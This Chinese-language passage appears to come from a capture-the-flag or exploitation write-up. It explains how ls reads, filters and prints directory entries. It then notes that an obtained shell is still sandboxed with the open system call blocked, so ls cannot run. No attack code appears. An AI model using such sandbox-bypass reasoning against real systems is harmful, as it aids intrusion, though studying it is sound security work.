  3. 过滤隐藏文件:在读取目录项之后,需要对目录项进行过滤。Linux中的隐藏文件以.开头,可以通过判断目录项的名字的第一个字符是否为.来过滤隐藏文件。

  4. 输出目录项信息:读取到一个目录项之后,可以通过目录项结构体中的字段获取文件的属性信息,比如文件名、大小、修改时间等。可以使用 printf() 函数将这些信息输出到终端。

  5. 关闭目录:使用 closedir() 系统调用来关闭打开的目录,释放资源。

可以看到执行 ls 命令需要使用 open 系统调用,可是我们拿到的 shell 依然处于沙箱的环境中,open 系统调用给禁止使用,这也意味着我们无法使用 ls 命令